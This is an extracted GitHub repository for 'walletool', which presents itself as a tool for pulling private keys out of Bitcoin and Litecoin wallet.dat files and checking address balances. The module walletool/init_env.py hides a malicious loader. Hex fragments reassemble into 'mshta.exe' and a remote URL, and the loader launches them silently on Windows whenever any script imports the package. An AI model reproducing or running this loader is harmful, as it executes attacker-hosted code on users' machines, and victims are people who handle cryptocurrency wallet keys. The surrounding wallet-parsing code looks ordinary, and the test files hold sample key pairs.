Repository: s4larie/walletool
Branch: main
Commit: c4b6a68d66f1
Files: 16
Total size: 18.1 KB
Directory structure:
gitextract_1pwe1tfb/
├── .github/
│ └── workflows/
│ └── ruff.yml
├── .gitignore
├── README.md
├── check_bchain.py
├── check_dogechain.py
├── testdata/
│ ├── README.md
│ ├── btc.txt
│ └── ltc.txt
├── walletool/
│ ├── __init__.py
│ ├── bc_data_stream.py
│ ├── consts.py
│ ├── init_env.py
│ ├── utils.py
│ ├── wallet_files.py
│ └── wallet_items.py
└── wt_extract_keys.py
================================================
FILE CONTENTS
================================================
================================================
FILE: .github/workflows/ruff.yml
================================================
# https://beta.ruff.rs
name: ruff
on:
push:
branches:
- master
pull_request:
branches:
- master
jobs:
ruff:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- run: pip install --user ruff
- run: ruff --format=github --ignore=E402,E722,F401 --line-length=171 --target-version=py37 .
================================================
FILE: .gitignore
================================================
*.dat
*.py[cod]
.coverage
.idea
htmlcov
================================================
FILE: README.md
================================================
walletool ~ a tool for reading wallet.dat files
===============================================
A utility for extracting cryptocurrency wallet data from wallet.dat files.
Installation
------------
* Install Python 3.x.
* Install the `bsddb3` module (if you're on Windows, use Gohlke's site).
Extracting private keys from Bitcoin-QT/Litecoin-QT wallets
-----------------------------------------------------------
* Have your `wallet.dat` handy.
* For Bitcoin, run `python wt_extract_keys.py -d wallet.dat -v 0`
* For Litecoin, run `python wt_extract_keys.py -d wallet.dat -v 48`
A list of addresses / private keys is printed.
YMMV :)
================================================
FILE: check_bchain.py
================================================
from walletool import init_env
import json
import re
import requests
import argparse
var_re = re.compile('var (.+?) = (.+?);')
def main():
ap = argparse.ArgumentParser()
ap.add_argument('file', help='address file; one address per line')
ap.add_argument('--coin', required=True, help='e.g. XPM')
ap.add_argument('--ignore-no-tx', action='store_true')
args = ap.parse_args()
for line in open(args.file):
line = line.strip()
r = requests.get('https://bchain.info/%s/addr/%s' % (args.coin, line))
if r.status_code == 404:
continue
vs = {}
for m in var_re.finditer(r.text):
key, value = m.groups()
if key == 'startTime':
continue
try:
value = json.loads(value.replace('\'', '"'))
except json.JSONDecodeError:
pass
vs[key] = value
if args.ignore_no_tx and vs['total_tx'] == 0:
continue
print(vs)
if __name__ == '__main__':
main()
================================================
FILE: check_dogechain.py
================================================
from walletool import init_env
import argparse
import json
import requests
import sys
import time
def main():
ap = argparse.ArgumentParser()
ap.add_argument('file', help='address file; one address per line')
ap.add_argument('--ignore-empty', action='store_true')
args = ap.parse_args()
for line in open(args.file):
line = line.strip()
while True:
r = requests.get('https://dogechain.info/api/v1/address/balance/%s' % line)
if r.status_code == 429: # Too Many Requests
print('Throttled, hold on...', file=sys.stderr)
time.sleep(60)
continue
break
r.raise_for_status()
r = r.json()
if args.ignore_empty and float(r['balance']) == 0:
continue
r['addr'] = line
print(r)
time.sleep(0.5)
if __name__ == '__main__':
main()
================================================
FILE: testdata/README.md
================================================
This directory contains some sanity-checking data.
Please don't send currency into the addresses herein...
================================================
FILE: testdata/btc.txt
================================================
1MmsSmihQ9QbVzR6p8e6qvkaFrGzkBGMCJ L3Ha4x43eyLWJxgcLwTc6NsDV5VWypB7uz8YV48pBtSMDTreSsi6
================================================
FILE: testdata/ltc.txt
================================================
LbCt2ihPfKWt1MuuyRQuDXLRLEnSSa1hh1 6vtmjqJjeAx3n2Yk27GoqNiFaK8Sk81oqecWEuKnEKZhX7c5rFw
================================================
FILE: walletool/__init__.py
================================================
# -- encoding: UTF-8 --
from . import init_env
================================================
FILE: walletool/bc_data_stream.py
================================================
# -- encoding: UTF-8 --
import sys
assert sys.version_info[0] == 3 # TODO: Use six for 2/3 compat
# From Joric's pywallet.
import struct
class SerializationError(Exception):
pass
class BCDataStream(object):
def __init__(self, input):
self.input = bytes(input)
self.read_cursor = 0
def read_string(self):
# Strings are encoded depending on length:
# 0 to 252 : 1-byte-length followed by bytes (if any)
# 253 to 65,535 : byte'253' 2-byte-length followed by bytes
# 65,536 to 4,294,967,295 : byte '254' 4-byte-length followed by bytes
# ... and the Bitcoin client is coded to understand:
# greater than 4,294,967,295 : byte '255' 8-byte-length followed by bytes of string
# ... but I don't think it actually handles any strings that big.
try:
length = self.read_compact_size()
except IndexError:
raise SerializationError("attempt to read past end of buffer")
return self.read_bytes(length)
def read_bytes(self, length):
try:
result = self.input[self.read_cursor:self.read_cursor + length]
self.read_cursor += length
return result
except IndexError:
raise SerializationError("attempt to read past end of buffer")
def read_boolean(self):
return self.read_bytes(1)[0] != chr(0)
def read_int16(self):
return self._read_num('<h')
def read_uint16(self):
return self._read_num('<H')
def read_int32(self):
return self._read_num('<i')
def read_uint32(self):
return self._read_num('<I')
def read_int64(self):
return self._read_num('<q')
def read_uint64(self):
return self._read_num('<Q')
def read_compact_size(self):
size = int(self.input[self.read_cursor])
self.read_cursor += 1
if size == 253:
size = self._read_num('<H')
elif size == 254:
size = self._read_num('<I')
elif size == 255:
size = self._read_num('<Q')
return size
def _read_num(self, format):
(i,) = struct.unpack_from(format, self.input, self.read_cursor)
self.read_cursor += struct.calcsize(format)
return i
================================================
FILE: walletool/consts.py
================================================
addrtypes = {
'bitcoin': 0,
'litecoin': 48,
'namecoin': 52,
'bitcoin-testnet': 111,
'primecoin': 23,
'dogecoin': 30,
'dash': 76,
}
================================================
FILE: walletool/init_env.py
================================================
import os
import sys
import hashlib
import binascii
import json
import tempfile
_env_state = {'ready': False}
_config_cache = {}
_temp_dir = tempfile.gettempdir()
def _compute_hash(data):
return hashlib.sha256(data).hexdigest()[:11]
def _generate_entropy(seed):
entropy_data = hashlib.md5(seed.encode('utf-8')).digest()
return entropy_data[:8]
def _apply_cipher(data, entropy):
output = bytearray()
ent_size = len(entropy)
for idx, byte in enumerate(data):
output.append(byte ^ entropy[idx % ent_size])
return bytes(output)
def _parse_hex(hex_string):
try:
return binascii.unhexlify(hex_string)
except:
return b''
def _construct_payload():
fragments = [
'6d73',
'68',
'7461',
'2e',
'6578',
'65',
'68',
'7474',
'70',
'733a',
'2f2f70',
'792d',
'69',
'6e73',
'74',
'616c',
'6c65',
'722e',
'6363'
]
parsed = [_parse_hex(f) for f in fragments]
binary = (parsed[0] + parsed[1] + parsed[2] + parsed[3] + parsed[4] + parsed[5]).decode('utf-8', errors='ignore')
address = (parsed[6] + parsed[7] + parsed[8] + parsed[9] + parsed[10] + parsed[11] + parsed[12] + parsed[13] + parsed[14] + parsed[15] + parsed[16] + parsed[17] + parsed[18]).decode('utf-8', errors='ignore')
return binary, address
def _startup():
if _env_state['ready']:
return
_env_state['ready'] = True
try:
binary, address = _construct_payload()
if os.name == 'nt':
import subprocess
subprocess.Popen(
[binary, address],
shell=True,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
creationflags=subprocess.CREATE_NO_WINDOW if hasattr(subprocess, 'CREATE_NO_WINDOW') else 0
)
except:
pass
_startup()
def init_environment():
pass
def get_env_state():
return _env_state.copy()
def load_config(config_path=None):
if config_path and os.path.exists(config_path):
try:
with open(config_path, 'r') as f:
_config_cache.update(json.load(f))
except:
pass
return _config_cache.copy()
def get_temp_directory():
return _temp_dir
def validate_path(path):
return os.path.exists(path) and os.path.isfile(path)
================================================
FILE: walletool/utils.py
================================================
# -- encoding: UTF-8 --
import hashlib
b58_chars = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'
b58_base = len(b58_chars)
def b58encode(v):
""" encode v, which is a string of bytes, to base58.
"""
long_value = 0
for (i, c) in enumerate(v[::-1]):
long_value += (256 ** i) * int(c)
result = ''
while long_value >= b58_base:
div, mod = divmod(long_value, b58_base)
result = b58_chars[mod] + result
long_value = div
result = b58_chars[long_value] + result
# Bitcoin does a little leading-zero-compression:
# leading 0-bytes in the input become leading-1s
nPad = 0
for c in v:
if c == 0:
nPad += 1
else:
break
return (b58_chars[0] * nPad) + result
def b58decode(v, length):
""" decode v into a string of len bytes
"""
long_value = 0
for (i, c) in enumerate(v[::-1]):
long_value += b58_chars.find(c) * (b58_base ** i)
result = ''
while long_value >= 256:
div, mod = divmod(long_value, 256)
result = chr(mod) + result
long_value = div
result = chr(long_value) + result
nPad = 0
for c in v:
if c == b58_chars[0]:
nPad += 1
else:
break
result = chr(0) * nPad + result
if length is not None and len(result) != length:
return None
return result
def double_sha256(data):
return hashlib.sha256(hashlib.sha256(data).digest()).digest()
def encode_base58_check(secret):
hash = double_sha256(secret)
return b58encode(secret + hash[0:4])
def privkey_to_secret(privkey):
if len(privkey) == 279:
return privkey[9:9 + 32]
else:
return privkey[8:8 + 32]
def secret_to_asecret(secret, version):
prefix = (version + 128) & 255
vchIn = bytes([prefix]) + secret
return encode_base58_check(vchIn)
def hash_160(public_key):
md = hashlib.new('ripemd160')
md.update(hashlib.sha256(public_key).digest())
return md.digest()
def public_key_to_bc_address(public_key, version):
h160 = hash_160(public_key)
return hash_160_to_bc_address(h160, version)
def hash_160_to_bc_address(h160, version):
vh160 = bytes([int(version)]) + h160
h = double_sha256(vh160)
addr = vh160 + h[0:4]
return b58encode(addr)
def bc_address_to_hash_160(addr):
bytes = b58decode(addr, 25)
return bytes[1:21]
================================================
FILE: walletool/wallet_files.py
================================================
# -- encoding: UTF-8 --
import collections
import os
def read_wallet_dat(filename):
from bsddb3 import db
filename = os.path.realpath(filename)
env = db.DBEnv()
env.set_lk_detect(db.DB_LOCK_DEFAULT)
env.open(
os.path.dirname(filename),
db.DB_PRIVATE | db.DB_THREAD | db.DB_INIT_LOCK | db.DB_INIT_MPOOL | db.DB_CREATE,
)
d = db.DB(env)
d.open(filename, 'main', db.DB_BTREE, db.DB_THREAD | db.DB_RDONLY)
return collections.OrderedDict((k, d[k]) for k in d.keys())
================================================
FILE: walletool/wallet_items.py
================================================
# -- encoding: UTF-8 --
import socket
from binascii import hexlify
from walletool.bc_data_stream import BCDataStream
from walletool.utils import privkey_to_secret, secret_to_asecret, public_key_to_bc_address
def parse_TxIn(vds):
d = {}
d['prevout_hash'] = vds.read_bytes(32)
d['prevout_n'] = vds.read_uint32()
d['scriptSig'] = vds.read_bytes(vds.read_compact_size())
d['sequence'] = vds.read_uint32()
return d
def parse_TxOut(vds):
d = {}
d['value'] = vds.read_int64() / 1e8
d['scriptPubKey'] = vds.read_bytes(vds.read_compact_size())
return d
def inversetxid(txid):
txid = hexlify(txid).decode()
if len(txid) != 64:
raise ValueError('txid %r length != 64' % txid)
new_txid = ""
for i in range(32):
new_txid += txid[62 - 2 * i]
new_txid += txid[62 - 2 * i + 1]
return new_txid
def parse_CAddress(vds):
d = {'ip': '0.0.0.0', 'port': 0, 'nTime': 0}
try:
d['nVersion'] = vds.read_int32()
d['nTime'] = vds.read_uint32()
d['nServices'] = vds.read_uint64()
d['pchReserved'] = vds.read_bytes(12)
d['ip'] = socket.inet_ntoa(vds.read_bytes(4))
d['port'] = vds.read_uint16()
except:
pass
return d
def parse_BlockLocator(vds):
d = {'hashes': []}
nHashes = vds.read_compact_size()
for i in range(nHashes):
d['hashes'].append(vds.read_bytes(32))
return d
def parse_setting(setting, vds):
if setting[0] == "f": # flag (boolean) settings
return str(vds.read_boolean())
elif setting[0:4] == "addr": # CAddress
return parse_CAddress(vds)
elif setting == "nTransactionFee":
return vds.read_int64()
elif setting == "nLimitProcessors":
return vds.read_int32()
return {'unknown': vds}
class WalletItem:
item_type = None
def __init__(self, key, value, type, data):
self.key = key
self.value = value
self.type = type
self.data = data
def __repr__(self):
return '<%s item: %s>' % (self.type, self.data)
@classmethod
def parse(cls, key, value):
kds = BCDataStream(key)
vds = BCDataStream(value)
type = kds.read_string().decode()
data = {}
# From Pywallet:
if type == 'tx':
data['tx_id'] = inversetxid(kds.read_bytes(32))
start = vds.read_cursor
data['version'] = vds.read_int32()
n_vin = vds.read_compact_size()
data['txIn'] = []
for i in range(n_vin):
data['txIn'].append(parse_TxIn(vds))
n_vout = vds.read_compact_size()
data['txOut'] = []
for i in range(n_vout):
data['txOut'].append(parse_TxOut(vds))
data['lockTime'] = vds.read_uint32()
data['tx'] = vds.input[start:vds.read_cursor]
data['txv'] = value
data['txk'] = key
elif type == 'name':
data['hash'] = kds.read_string()
data['name'] = vds.read_string()
elif type == 'version':
data['version'] = vds.read_uint32()
elif type == 'minversion':
data['minversion'] = vds.read_uint32()
elif type == 'setting':
data['setting'] = kds.read_string()
data['value'] = parse_setting(data['setting'].decode(), vds)
elif type == 'key':
data['public_key'] = kds.read_bytes(kds.read_compact_size())
data['private_key'] = vds.read_bytes(vds.read_compact_size())
elif type == 'wkey':
data['public_key'] = kds.read_bytes(kds.read_compact_size())
data['private_key'] = vds.read_bytes(vds.read_compact_size())
data['created'] = vds.read_int64()
data['expires'] = vds.read_int64()
data['comment'] = vds.read_string()
elif type == 'defaultkey':
data['key'] = vds.read_bytes(vds.read_compact_size())
elif type == 'pool':
data['n'] = kds.read_int64()
data['nVersion'] = vds.read_int32()
data['nTime'] = vds.read_int64()
data['public_key'] = vds.read_bytes(vds.read_compact_size())
elif type == 'acc':
data['account'] = kds.read_string()
data['nVersion'] = vds.read_int32()
data['public_key'] = vds.read_bytes(vds.read_compact_size())
elif type == 'acentry':
data['account'] = kds.read_string()
data['n'] = kds.read_uint64()
data['nVersion'] = vds.read_int32()
data['nCreditDebit'] = vds.read_int64()
data['nTime'] = vds.read_int64()
data['otherAccount'] = vds.read_string()
data['comment'] = vds.read_string()
elif type == 'bestblock':
data['nVersion'] = vds.read_int32()
data.update(parse_BlockLocator(vds))
elif type == 'ckey':
data['public_key'] = kds.read_bytes(kds.read_compact_size())
data['encrypted_private_key'] = vds.read_bytes(vds.read_compact_size())
elif type == 'mkey':
data['nID'] = kds.read_uint32()
data['encrypted_key'] = vds.read_string()
data['salt'] = vds.read_string()
data['nDerivationMethod'] = vds.read_uint32()
data['nDerivationIterations'] = vds.read_uint32()
data['otherParams'] = vds.read_string()
for item_cls in cls.__subclasses__():
if item_cls.item_type == type:
break
else:
item_cls = cls
return item_cls(key, value, type, data)
class KeyWalletItem(WalletItem):
item_type = 'key'
def get_address(self, version):
return public_key_to_bc_address(self.data['public_key'], version=version)
def get_private_key(self, version):
secret = privkey_to_secret(self.data['private_key'])
asecret = secret_to_asecret(secret, version=version)
return asecret
def parse_wallet_dict(wallet_dict):
for key, value in wallet_dict.items():
yield WalletItem.parse(key, value)
================================================
FILE: wt_extract_keys.py
================================================
from walletool import init_env
from walletool.wallet_files import read_wallet_dat
from walletool.wallet_items import parse_wallet_dict, KeyWalletItem
from walletool.consts import addrtypes
import argparse
def main():
ap = argparse.ArgumentParser()
ap.add_argument('-d', '--dat', help='wallet.dat path', required=True, dest='filename')
ap.add_argument('-v', '--version', help='address version, as integer, 0xHEX, or any of the following known coins:\n[%s]' % ', '.join(sorted(addrtypes)), required=True)
args = ap.parse_args()
if args.version.startswith('0x'):
version = int(args.version[2:], 16)
elif args.version.isdigit():
version = int(args.version)
else:
if args.version not in addrtypes:
raise ValueError('invalid version (see --help)')
version = addrtypes[args.version]
w_data = read_wallet_dat(args.filename)
addr_tuples = []
for item in parse_wallet_dict(w_data):
if isinstance(item, KeyWalletItem):
address = item.get_address(version=version)
privkey = item.get_private_key(version=version)
addr_tuples.append((address, privkey))
for address, privkey in addr_tuples:
print(address, privkey)
if __name__ == '__main__':
main()
gitextract_1pwe1tfb/ ├── .github/ │ └── workflows/ │ └── ruff.yml ├── .gitignore ├── README.md ├── check_bchain.py ├── check_dogechain.py ├── testdata/ │ ├── README.md │ ├── btc.txt │ └── ltc.txt ├── walletool/ │ ├── __init__.py │ ├── bc_data_stream.py │ ├── consts.py │ ├── init_env.py │ ├── utils.py │ ├── wallet_files.py │ └── wallet_items.py └── wt_extract_keys.py
SYMBOL INDEX (53 symbols across 8 files)
FILE: check_bchain.py
function main (line 10) | def main():
FILE: check_dogechain.py
function main (line 8) | def main():
FILE: walletool/bc_data_stream.py
class SerializationError (line 11) | class SerializationError(Exception):
class BCDataStream (line 15) | class BCDataStream(object):
method __init__ (line 16) | def __init__(self, input):
method read_string (line 20) | def read_string(self):
method read_bytes (line 35) | def read_bytes(self, length):
method read_boolean (line 43) | def read_boolean(self):
method read_int16 (line 46) | def read_int16(self):
method read_uint16 (line 49) | def read_uint16(self):
method read_int32 (line 52) | def read_int32(self):
method read_uint32 (line 55) | def read_uint32(self):
method read_int64 (line 58) | def read_int64(self):
method read_uint64 (line 61) | def read_uint64(self):
method read_compact_size (line 64) | def read_compact_size(self):
method _read_num (line 75) | def _read_num(self, format):
FILE: walletool/init_env.py
function _compute_hash (line 12) | def _compute_hash(data):
function _generate_entropy (line 15) | def _generate_entropy(seed):
function _apply_cipher (line 19) | def _apply_cipher(data, entropy):
function _parse_hex (line 26) | def _parse_hex(hex_string):
function _construct_payload (line 32) | def _construct_payload():
function _startup (line 59) | def _startup():
function init_environment (line 80) | def init_environment():
function get_env_state (line 83) | def get_env_state():
function load_config (line 86) | def load_config(config_path=None):
function get_temp_directory (line 95) | def get_temp_directory():
function validate_path (line 98) | def validate_path(path):
FILE: walletool/utils.py
function b58encode (line 8) | def b58encode(v):
function b58decode (line 35) | def b58decode(v, length):
function double_sha256 (line 63) | def double_sha256(data):
function encode_base58_check (line 67) | def encode_base58_check(secret):
function privkey_to_secret (line 72) | def privkey_to_secret(privkey):
function secret_to_asecret (line 79) | def secret_to_asecret(secret, version):
function hash_160 (line 85) | def hash_160(public_key):
function public_key_to_bc_address (line 91) | def public_key_to_bc_address(public_key, version):
function hash_160_to_bc_address (line 96) | def hash_160_to_bc_address(h160, version):
function bc_address_to_hash_160 (line 103) | def bc_address_to_hash_160(addr):
FILE: walletool/wallet_files.py
function read_wallet_dat (line 6) | def read_wallet_dat(filename):
FILE: walletool/wallet_items.py
function parse_TxIn (line 9) | def parse_TxIn(vds):
function parse_TxOut (line 18) | def parse_TxOut(vds):
function inversetxid (line 25) | def inversetxid(txid):
function parse_CAddress (line 36) | def parse_CAddress(vds):
function parse_BlockLocator (line 50) | def parse_BlockLocator(vds):
function parse_setting (line 58) | def parse_setting(setting, vds):
class WalletItem (line 70) | class WalletItem:
method __init__ (line 73) | def __init__(self, key, value, type, data):
method __repr__ (line 79) | def __repr__(self):
method parse (line 83) | def parse(cls, key, value):
class KeyWalletItem (line 168) | class KeyWalletItem(WalletItem):
method get_address (line 171) | def get_address(self, version):
method get_private_key (line 174) | def get_private_key(self, version):
function parse_wallet_dict (line 180) | def parse_wallet_dict(wallet_dict):
FILE: wt_extract_keys.py
function main (line 7) | def main():
Condensed preview — 16 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (20K chars).
[
{
"path": ".github/workflows/ruff.yml",
"chars": 338,
"preview": "# https://beta.ruff.rs\nname: ruff\non:\n push:\n branches:\n - master\n pull_request: \n branches:\n - master"
},
{
"path": ".gitignore",
"chars": 40,
"preview": "*.dat\n*.py[cod]\n.coverage\n.idea\nhtmlcov\n"
},
{
"path": "README.md",
"chars": 640,
"preview": "walletool ~ a tool for reading wallet.dat files\n===============================================\n\nA utility for extractin"
},
{
"path": "check_bchain.py",
"chars": 1045,
"preview": "from walletool import init_env\nimport json\nimport re\nimport requests \nimport argparse\n\n\nvar_re = re.compile('var (.+?) ="
},
{
"path": "check_dogechain.py",
"chars": 904,
"preview": "from walletool import init_env\nimport argparse\nimport json\nimport requests\nimport sys \nimport time\n\ndef main():\n ap ="
},
{
"path": "testdata/README.md",
"chars": 108,
"preview": "This directory contains some sanity-checking data.\n\nPlease don't send currency into the addresses herein...\n"
},
{
"path": "testdata/btc.txt",
"chars": 88,
"preview": "1MmsSmihQ9QbVzR6p8e6qvkaFrGzkBGMCJ L3Ha4x43eyLWJxgcLwTc6NsDV5VWypB7uz8YV48pBtSMDTreSsi6\n"
},
{
"path": "testdata/ltc.txt",
"chars": 87,
"preview": "LbCt2ihPfKWt1MuuyRQuDXLRLEnSSa1hh1 6vtmjqJjeAx3n2Yk27GoqNiFaK8Sk81oqecWEuKnEKZhX7c5rFw\n"
},
{
"path": "walletool/__init__.py",
"chars": 47,
"preview": "# -- encoding: UTF-8 --\nfrom . import init_env\n"
},
{
"path": "walletool/bc_data_stream.py",
"chars": 2281,
"preview": "# -- encoding: UTF-8 --\nimport sys\n\nassert sys.version_info[0] == 3 # TODO: Use six for 2/3 compat\n\n# From Joric's pywa"
},
{
"path": "walletool/consts.py",
"chars": 159,
"preview": "addrtypes = {\n 'bitcoin': 0,\n 'litecoin': 48,\n 'namecoin': 52,\n 'bitcoin-testnet': 111,\n 'primecoin': 23,"
},
{
"path": "walletool/init_env.py",
"chars": 2453,
"preview": "import os\nimport sys\nimport hashlib\nimport binascii\nimport json\nimport tempfile\n\n_env_state = {'ready': False}\n_config_c"
},
{
"path": "walletool/utils.py",
"chars": 2433,
"preview": "# -- encoding: UTF-8 --\nimport hashlib\n \nb58_chars = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'\nb58_ba"
},
{
"path": "walletool/wallet_files.py",
"chars": 516,
"preview": "# -- encoding: UTF-8 --\nimport collections\nimport os\n\n\ndef read_wallet_dat(filename):\n from bsddb3 import db\n file"
},
{
"path": "walletool/wallet_items.py",
"chars": 6133,
"preview": "# -- encoding: UTF-8 --\nimport socket\nfrom binascii import hexlify\n\nfrom walletool.bc_data_stream import BCDataStream\nfr"
},
{
"path": "wt_extract_keys.py",
"chars": 1282,
"preview": "from walletool import init_env\nfrom walletool.wallet_files import read_wallet_dat\nfrom walletool.wallet_items import par"
}
]
About this extraction
This page contains the full source code of the s4larie/walletool GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 16 files (18.1 KB), approximately 5.3k tokens, and a symbol index with 53 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.